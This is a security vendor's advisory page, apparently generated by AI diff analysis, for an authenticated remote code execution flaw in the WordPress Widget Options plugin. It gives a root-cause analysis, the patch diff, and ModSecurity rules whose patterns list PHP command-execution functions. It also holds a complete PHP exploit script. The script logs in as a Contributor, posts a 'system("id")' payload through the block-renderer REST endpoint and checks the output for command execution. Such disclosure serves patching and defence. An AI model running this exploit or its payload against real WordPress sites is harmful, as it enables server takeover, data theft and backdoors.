Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 28, 2026

CVE-2026-54823: Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets <= 4.2.3 Authenticated (Contributor+) Remote Code Execution PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 4.2.3
Patched Version 4.2.4
Disclosed June 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54823:

Root Cause: The vulnerability exists in the widgetopts_safe_eval function within wp-content/plugins/widget-options/includes/extras.php. This function uses PHP’s eval() to execute user-supplied boolean expressions for widget display logic. Prior to the patch, any authenticated user with Contributor-level access could inject arbitrary PHP code through the ‘logic’ parameter in widget/block settings. The function lacked proper authorization checks before calling eval(), allowing lower-privileged users to execute arbitrary code. The vulnerable code path includes the widgetopts_safe_eval function (line 928 of extras.php), the display logic evaluation in gutenberg-toolbar.php (line 1031), widget display.php (line 583), and several page builder integrations (beaver.php, elementor/render.php, siteorigin.php).

Exploitation: An attacker with Contributor-level access can inject PHP code through the Block Editor’s widget options by manipulating the ‘extended_widget_opts’ or ‘extended_widget_opts_block’ attributes in blocks. When the block is rendered or the widget display logic is evaluated, the malicious expression reaches widgetopts_safe_eval and gets executed via eval(). The attacker can craft a payload like ‘system(id);’ or ‘file_put_contents(…);’ within the logic field. The REST API endpoint /wp/v2/block-renderer/{name} accepts user-supplied attributes without requiring a save step, making it a direct attack vector for non-admin users.

Patch Analysis: The patch introduces a trust flag mechanism (widgetopts_eval_trust_begin/end) and a global depth counter to control which eval calls are trusted. Calls from page builder integrations (Beaver, Elementor, SiteOrigin) and widget displays now use widgetopts_safe_eval_trusted() which sets the trust flag. The core widgetopts_safe_eval() now checks: if the current user lacks ‘manage_options’ capability AND the trust flag is not set, it returns true (bypassing eval). For REST API requests, a new filtering system (widgetopts_rest_scrub_legacy_logic) sanitizes incoming payloads by removing class.logic values from non-admin write requests. The block renderer endpoint uses a SHA-256 allowlist of logic values from the post’s post_content to validate inline attributes. Additionally, the eval validation was hardened by blocking T_FUNCTION and T_FN tokens and adding ‘}’ as a forbidden token preceding function calls. The version was bumped from 4.2.3 to 4.2.4.

Impact: Successful exploitation allows Remote Code Execution (RCE) as the WordPress application user. An attacker can execute arbitrary system commands, create or modify files, exfiltrate the database, install backdoors, or pivot to attack other sites on the same server. Given the CVSS score of 8.8, this vulnerability poses a critical risk to WordPress installations using the Widget Options plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/widget-options/includes/extras.php
+++ b/widget-options/includes/extras.php
@@ -492,8 +492,225 @@
  * @param string $expression The boolean expression to evaluate.
  * @return bool Returns true or false based on the evaluated expression, or false on error.
  */
+// Trust-flag for widgetopts_safe_eval(): wrap callsites whose expression
+// provably comes from a DB-backed, admin-controlled source so non-admin
+// viewers can still execute it. Missing wrapper → eval short-circuits to true.
+function widgetopts_eval_trust_begin()
+{
+    if (!isset($GLOBALS['_widgetopts_trust_depth'])) {
+        $GLOBALS['_widgetopts_trust_depth'] = 0;
+    }
+    $GLOBALS['_widgetopts_trust_depth']++;
+}
+
+function widgetopts_eval_trust_end()
+{
+    if (!empty($GLOBALS['_widgetopts_trust_depth'])) {
+        $GLOBALS['_widgetopts_trust_depth']--;
+    }
+}
+
+function widgetopts_eval_is_trusted()
+{
+    return !empty($GLOBALS['_widgetopts_trust_depth']);
+}
+
+function widgetopts_safe_eval_trusted($expression)
+{
+    widgetopts_eval_trust_begin();
+    try {
+        return widgetopts_safe_eval($expression);
+    } catch (Throwable $e) {
+        return false;
+    } finally {
+        widgetopts_eval_trust_end();
+    }
+}
+
+function widgetopts_blocks_collect_logic_hashes(array $blocks, array &$out)
+{
+    foreach ($blocks as $block) {
+        if (isset($block['attrs']['extended_widget_opts']['class']['logic'])
+            && is_string($block['attrs']['extended_widget_opts']['class']['logic'])
+            && $block['attrs']['extended_widget_opts']['class']['logic'] !== '') {
+            $out[hash('sha256', $block['attrs']['extended_widget_opts']['class']['logic'])] = true;
+        }
+        if (isset($block['attrs']['extended_widget_opts_block']['class']['logic'])
+            && is_string($block['attrs']['extended_widget_opts_block']['class']['logic'])
+            && $block['attrs']['extended_widget_opts_block']['class']['logic'] !== '') {
+            $out[hash('sha256', $block['attrs']['extended_widget_opts_block']['class']['logic'])] = true;
+        }
+        if (!empty($block['innerBlocks']) && is_array($block['innerBlocks'])) {
+            widgetopts_blocks_collect_logic_hashes($block['innerBlocks'], $out);
+        }
+    }
+}
+
+// Per-request, per-post sha256 allowlist of class.logic values actually
+// stored in this post's post_content. Cached because render_block_data fires
+// per block, and parse_blocks() is the expensive part.
+function widgetopts_get_post_logic_allowlist($post_id)
+{
+    static $cache = array();
+
+    $post_id = (int) $post_id;
+    if ($post_id <= 0) {
+        return array();
+    }
+    if (isset($cache[$post_id])) {
+        return $cache[$post_id];
+    }
+
+    $content = get_post_field('post_content', $post_id);
+    if (!is_string($content) || $content === ''
+        || strpos($content, 'extended_widget_opts') === false) {
+        return $cache[$post_id] = array();
+    }
+
+    $blocks = parse_blocks($content);
+    $hashes = array();
+    if (is_array($blocks)) {
+        widgetopts_blocks_collect_logic_hashes($blocks, $hashes);
+    }
+
+    return $cache[$post_id] = $hashes;
+}
+
+// Recursively neutralise legacy display-logic shapes inside a REST payload.
+// Recognises: extended_widget_opts[_block].class.logic, widgetopts_logic /
+// widgetopts_settings_logic keys, block/freeform strings.
+function widgetopts_rest_scrub_legacy_logic(&$value, &$modified)
+{
+    if (is_string($value)) {
+        // Pre-screen by substring to avoid parse_blocks() on unrelated content.
+        if (strpos($value, 'extended_widget_opts') !== false
+            || strpos($value, 'start_widgetopts') !== false) {
+            $blocks = parse_blocks($value);
+            if (is_array($blocks) && !empty($blocks)) {
+                $b_changed = false;
+                widgetopts_strip_logic_from_blocks($blocks, $b_changed);
+                if ($b_changed) {
+                    $value    = serialize_blocks($blocks);
+                    $modified = true;
+                }
+            }
+        }
+        return;
+    }
+
+    if (!is_array($value) && !is_object($value)) {
+        return;
+    }
+
+    $is_object = is_object($value);
+    $items     = $is_object ? get_object_vars($value) : $value;
+
+    foreach ($items as $k => $v) {
+        $key = (string) $k;
+
+        // Page-builder-specific inline keys. Both names are owned by this
+        // plugin's own UI — no third-party REST consumer would legitimately
+        // ship a setting under these exact identifiers.
+        if (is_string($v) && $v !== ''
+            && ($key === 'widgetopts_settings_logic' || $key === 'widgetopts_logic')) {
+            $v        = '';
+            $modified = true;
+        }
+
+        // Scoped to plugin-owned containers — never touch class.logic under
+        // unrelated parents (third-party REST shapes commonly use them).
+        if (($key === 'extended_widget_opts' || $key === 'extended_widget_opts_block')
+            && (is_array($v) || is_object($v))) {
+            widgetopts_rest_scrub_extended_widget_opts($v, $modified);
+        }
+
+        if (is_array($v) || is_object($v) || is_string($v)) {
+            widgetopts_rest_scrub_legacy_logic($v, $modified);
+        }
+
+        if ($is_object) {
+            $value->$k = $v;
+        } else {
+            $value[$k] = $v;
+        }
+    }
+}
+
+// Inside a plugin-owned container, find and clear class.logic at any depth.
+function widgetopts_rest_scrub_extended_widget_opts(&$container, &$modified)
+{
+    if (!is_array($container) && !is_object($container)) {
+        return;
+    }
+
+    $is_object = is_object($container);
+    $items     = $is_object ? get_object_vars($container) : $container;
+
+    foreach ($items as $k => $v) {
+        if ((string) $k === 'class' && (is_array($v) || is_object($v))) {
+            $cls_is_obj = is_object($v);
+            $cls_items  = $cls_is_obj ? get_object_vars($v) : $v;
+            if (isset($cls_items['logic'])
+                && is_string($cls_items['logic'])
+                && $cls_items['logic'] !== '') {
+                if ($cls_is_obj) {
+                    $v->logic = '';
+                } else {
+                    $v['logic'] = '';
+                }
+                $modified = true;
+            }
+        }
+
+        if (is_array($v) || is_object($v)) {
+            widgetopts_rest_scrub_extended_widget_opts($v, $modified);
+        }
+
+        if ($is_object) {
+            $container->$k = $v;
+        } else {
+            $container[$k] = $v;
+        }
+    }
+}
+
+// Belt-and-braces net for REST routes without their own save-time gate.
+// Non-admin write requests only; GET/HEAD/OPTIONS untouched.
+add_filter('rest_request_before_callbacks', function ($response, $handler, $request) {
+    if (!($request instanceof WP_REST_Request)) {
+        return $response;
+    }
+    if (current_user_can('manage_options')) {
+        return $response;
+    }
+    $method = strtoupper((string) $request->get_method());
+    if ($method === 'GET' || $method === 'HEAD' || $method === 'OPTIONS') {
+        return $response;
+    }
+
+    $params = $request->get_params();
+    if (!is_array($params) || empty($params)) {
+        return $response;
+    }
+
+    foreach ($params as $key => $value) {
+        $changed = false;
+        widgetopts_rest_scrub_legacy_logic($value, $changed);
+        if ($changed) {
+            $request->set_param($key, $value);
+        }
+    }
+
+    return $response;
+}, 10, 3);
+
 function widgetopts_safe_eval($expression)
 {
+    // Closed default: non-admin without trust flag → "show" without eval.
+    if (!current_user_can('manage_options') && !widgetopts_eval_is_trusted()) {
+        return true;
+    }
+
     if (widgetopts_is_widget_or_post_preview()) {
         if (!current_user_can('manage_options')) {
             return true;
@@ -868,10 +1085,12 @@
     $tokens = token_get_all($code);
     $is_safe = true;

-    // Language constructs that are NOT T_STRING — the allowlist loop would silently skip them.
-    // T_EVAL / T_INCLUDE* / T_REQUIRE* are also caught by the regex in widgetopts_validate_expression,
-    // but blocking them here provides an independent second layer.
-    $forbidden_constructs = [T_EVAL, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_EXIT, T_GOTO];
+    // Constructs that aren't T_STRING — allowlist loop would skip them.
+    // T_FUNCTION / T_FN block closure-define + immediate invoke.
+    $forbidden_constructs = [T_EVAL, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_EXIT, T_GOTO, T_FUNCTION];
+    if (defined('T_FN')) {
+        $forbidden_constructs[] = T_FN; // PHP 7.4+
+    }

     foreach ($tokens as $index => $token) {
         if (is_array($token)) {
@@ -925,10 +1144,8 @@
                     break;
                 }
             }
-        } elseif ($token === ']' || $token === ')') {
-            // Subscript-then-call  `$arr['key']()`  and
-            // Concat-then-call     `('fi'.'le_put_contents')()`
-            // Skip non-significant tokens (whitespace / comments) before '('
+        } elseif ($token === ']' || $token === ')' || $token === '}') {
+            // `$arr[k]()`, `(expr)()`, `${$fn}()` / `Foo::{'m'}()`.
             $next = widgetopts_adjacent_significant_token($tokens, $index, 1);
             if ($next === '(') {
                 $is_safe = false;
--- a/widget-options/includes/pagebuilders/beaver/beaver.php
+++ b/widget-options/includes/pagebuilders/beaver/beaver.php
@@ -927,7 +927,7 @@
 					}
 					$display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
 					try {
-						if (!widgetopts_safe_eval($display_logic)) {
+						if (!widgetopts_safe_eval_trusted($display_logic)) {
 							return false;
 						}
 					} catch (ParseError $e) {
--- a/widget-options/includes/pagebuilders/elementor/render.php
+++ b/widget-options/includes/pagebuilders/elementor/render.php
@@ -388,7 +388,7 @@
 					}
 					$display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
 					try {
-						if (!widgetopts_safe_eval($display_logic)) {
+						if (!widgetopts_safe_eval_trusted($display_logic)) {
 							return $placeholder;
 						}
 					} catch (ParseError $e) {
--- a/widget-options/includes/pagebuilders/siteorigin.php
+++ b/widget-options/includes/pagebuilders/siteorigin.php
@@ -52,7 +52,7 @@
                                 }
                                 $display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
                                 try {
-                                    if (!widgetopts_safe_eval($display_logic)) {
+                                    if (!widgetopts_safe_eval_trusted($display_logic)) {
                                         unset($panels_data['widgets'][$key]);
                                     }
                                 } catch (ParseError $e) {
@@ -82,18 +82,18 @@
         static $processing = false;
         if ($processing) return $check;

-        // Get old panels data from DB
-        $old_data = get_post_meta($object_id, 'panels_data', true);
-        if (!is_array($old_data) || empty($old_data['widgets'])) return $check;
-
-        // Collect known old logic values
+        // No early-return when old data / old logic set is empty: that would
+        // let a contributor smuggle class.logic through the first save.
+        $old_data      = get_post_meta($object_id, 'panels_data', true);
         $old_logic_set = array();
-        foreach ($old_data['widgets'] as $widget) {
-            if (isset($widget['extended_widget_opts']['class']['logic']) && $widget['extended_widget_opts']['class']['logic'] !== '') {
-                $old_logic_set[] = $widget['extended_widget_opts']['class']['logic'];
+        if (is_array($old_data) && !empty($old_data['widgets']) && is_array($old_data['widgets'])) {
+            foreach ($old_data['widgets'] as $widget) {
+                if (isset($widget['extended_widget_opts']['class']['logic'])
+                    && $widget['extended_widget_opts']['class']['logic'] !== '') {
+                    $old_logic_set[] = $widget['extended_widget_opts']['class']['logic'];
+                }
             }
         }
-        if (empty($old_logic_set)) return $check;

         // Check new data
         $new_data = is_array($meta_value) ? $meta_value : maybe_unserialize($meta_value);
--- a/widget-options/includes/snippets/class-snippets-api.php
+++ b/widget-options/includes/snippets/class-snippets-api.php
@@ -149,7 +149,9 @@
         // Decode and execute
         $code = htmlspecialchars_decode($code, ENT_QUOTES);

-        // Use the existing safe_eval function
+        if (function_exists('widgetopts_safe_eval_trusted')) {
+            return widgetopts_safe_eval_trusted($code);
+        }
         if (function_exists('widgetopts_safe_eval')) {
             return widgetopts_safe_eval($code);
         }
@@ -239,7 +241,10 @@
             }

             $code = htmlspecialchars_decode($code, ENT_QUOTES);
-
+
+            if (function_exists('widgetopts_safe_eval_trusted')) {
+                return widgetopts_safe_eval_trusted($code);
+            }
             if (function_exists('widgetopts_safe_eval')) {
                 return widgetopts_safe_eval($code);
             }
--- a/widget-options/includes/widgets/display.php
+++ b/widget-options/includes/widgets/display.php
@@ -583,7 +583,7 @@
                     return true;
                 }
                 $display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
-                if (!widgetopts_safe_eval($display_logic)) {
+                if (!widgetopts_safe_eval_trusted($display_logic)) {
                     return false;
                 }
             }
--- a/widget-options/includes/widgets/gutenberg/gutenberg-toolbar.php
+++ b/widget-options/includes/widgets/gutenberg/gutenberg-toolbar.php
@@ -408,6 +408,74 @@
 	return $data;
 }, 10, 2);

+// Flag the block-renderer REST dispatch so render_block_data below can
+// scope its sha256-allowlist work to that single route.
+add_filter('rest_pre_dispatch', function ($result, $server, $request) {
+	if ($request instanceof WP_REST_Request
+		&& strpos((string) $request->get_route(), '/wp/v2/block-renderer/') === 0) {
+		$GLOBALS['_widgetopts_in_block_renderer'] = true;
+	}
+	return $result;
+}, 1, 3);
+
+add_filter('rest_post_dispatch', function ($response, $server, $request) {
+	unset($GLOBALS['_widgetopts_in_block_renderer']);
+	return $response;
+}, 1, 3);
+
+// Block-renderer accepts user-supplied attributes without a save step.
+// For non-admins, allowlist class.logic against a sha256 of values stored in
+// the post's post_content; mismatched values are zeroed before render_callback.
+add_filter('render_block_data', function ($parsed_block) {
+	if (!defined('REST_REQUEST') || !REST_REQUEST) {
+		return $parsed_block;
+	}
+	if (empty($GLOBALS['_widgetopts_in_block_renderer'])) {
+		return $parsed_block;
+	}
+
+	if (!is_array($parsed_block) || empty($parsed_block['attrs'])) {
+		return $parsed_block;
+	}
+	if (current_user_can('manage_options')) {
+		return $parsed_block;
+	}
+
+	$has_inline = (
+		(isset($parsed_block['attrs']['extended_widget_opts']['class']['logic'])
+			&& $parsed_block['attrs']['extended_widget_opts']['class']['logic'] !== '')
+		|| (isset($parsed_block['attrs']['extended_widget_opts_block']['class']['logic'])
+			&& $parsed_block['attrs']['extended_widget_opts_block']['class']['logic'] !== '')
+	);
+	if (!$has_inline) {
+		return $parsed_block;
+	}
+
+	$post_id = 0;
+	$current = get_post();
+	if ($current instanceof WP_Post) {
+		$post_id = (int) $current->ID;
+	}
+	if (!$post_id && isset($_REQUEST['post_id'])) {
+		$post_id = absint($_REQUEST['post_id']);
+	}
+
+	$allow = $post_id ? widgetopts_get_post_logic_allowlist($post_id) : array();
+
+	foreach (array('extended_widget_opts', 'extended_widget_opts_block') as $key) {
+		if (isset($parsed_block['attrs'][$key]['class']['logic'])
+			&& is_string($parsed_block['attrs'][$key]['class']['logic'])
+			&& $parsed_block['attrs'][$key]['class']['logic'] !== '') {
+			$hash = hash('sha256', $parsed_block['attrs'][$key]['class']['logic']);
+			if (!isset($allow[$hash])) {
+				$parsed_block['attrs'][$key]['class']['logic'] = '';
+			}
+		}
+	}
+
+	return $parsed_block;
+}, 5);
+
 add_filter('render_block', function ($block_content, $parsed_block, $obj) {
 	if (!is_admin()) {
 		add_filter("render_block_{$obj->name}", "blockopts_filter_before_display", 100, 3);
@@ -963,7 +1031,7 @@
 				// 	$display_logic = "return (" . $display_logic . ");";
 				// }
 				$display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
-				if (!widgetopts_safe_eval($display_logic)) {
+				if (!widgetopts_safe_eval_trusted($display_logic)) {
 					return false;
 				}
 			}
--- a/widget-options/plugin.php
+++ b/widget-options/plugin.php
@@ -4,7 +4,7 @@
  * Plugin Name: Widget Options
  * Plugin URI: https://widget-options.com/
  * Description: Additional Widget and Block options for better widget and block control. Turn Widget Options into an even more flexible widget and block area manager. Upgrade to <strong><a href="http://widget-options.com/" target="_blank" >Widget Options Extended</a></strong> today!
- * Version: 4.2.3
+ * Version: 4.2.4
  * Author: Widget Options Team
  * Author URI: https://widget-options.com/
  * Text Domain: widget-options
@@ -92,7 +92,7 @@

 			// Plugin version.
 			if (!defined('WIDGETOPTS_VERSION')) {
-				define('WIDGETOPTS_VERSION', '4.2.3');
+				define('WIDGETOPTS_VERSION', '4.2.4');
 			}

 			// Plugin Folder Path.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-54823
# Block Contributor+ code injection via block-renderer REST API
SecRule REQUEST_URI "@beginsWith /wp-json/wp/v2/block-renderer/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-54823 Widget Options RCE via block-renderer',severity:CRITICAL,tag:CVE-2026-54823"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:attributes "@rx extended_widget_opts.*class.*logic" "t:none,chain"
      SecRule UNKNOWN "@unconditionalMatch" "t:none"

# Block Contributor+ code injection via AJAX widget save
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-54823 Widget Options RCE via AJAX',severity:CRITICAL,tag:CVE-2026-54823"
  SecRule ARGS_POST:action "@streq widgetopts_save_settings" "chain"
    SecRule ARGS_POST:extended_widget_opts "@rx logic.*system|exec|shell_exec|passthru|popen|proc_open|assert|eval|create_function|array_map|call_user_func|preg_replace" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54823 - Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets <= 4.2.3

$target_url = 'http://example.com'; // Change this to the target WordPress URL
$username = 'contributor';          // Change to your Contributor-level account username
$password = 'password';             // Change to your Contributor-level account password

$ch = curl_init();

// Step 1: Authenticate
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => false,
]);

curl_exec($ch);

// Step 2: Get a nonce for block rendering
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce',
    CURLOPT_POST => false,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_HTTPHEADER => ['X-WP-Nonce: '],
    CURLOPT_RETURNTRANSFER => true,
]);

$nonce = curl_exec($ch);

// Step 3: Send malicious payload via block-renderer endpoint
$payload = 'system("id");';

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/wp/v2/block-renderer/core/paragraph',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode([
        'attributes' => [
            'extended_widget_opts' => [
                'class' => [
                    'logic' => $payload
                ]
            ]
        ],
        'post_id' => 1,
        'context' => 'edit'
    ]),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce
    ],
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
]);

$response = curl_exec($ch);

echo "Response:n";
echo $response . "n";

// Check for command execution
if (strpos($response, 'uid=') !== false) {
    echo "[+] Exploit successful: Command executed.n";
} else {
    echo "[-] Exploit may not have worked. Check the response above.n";
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School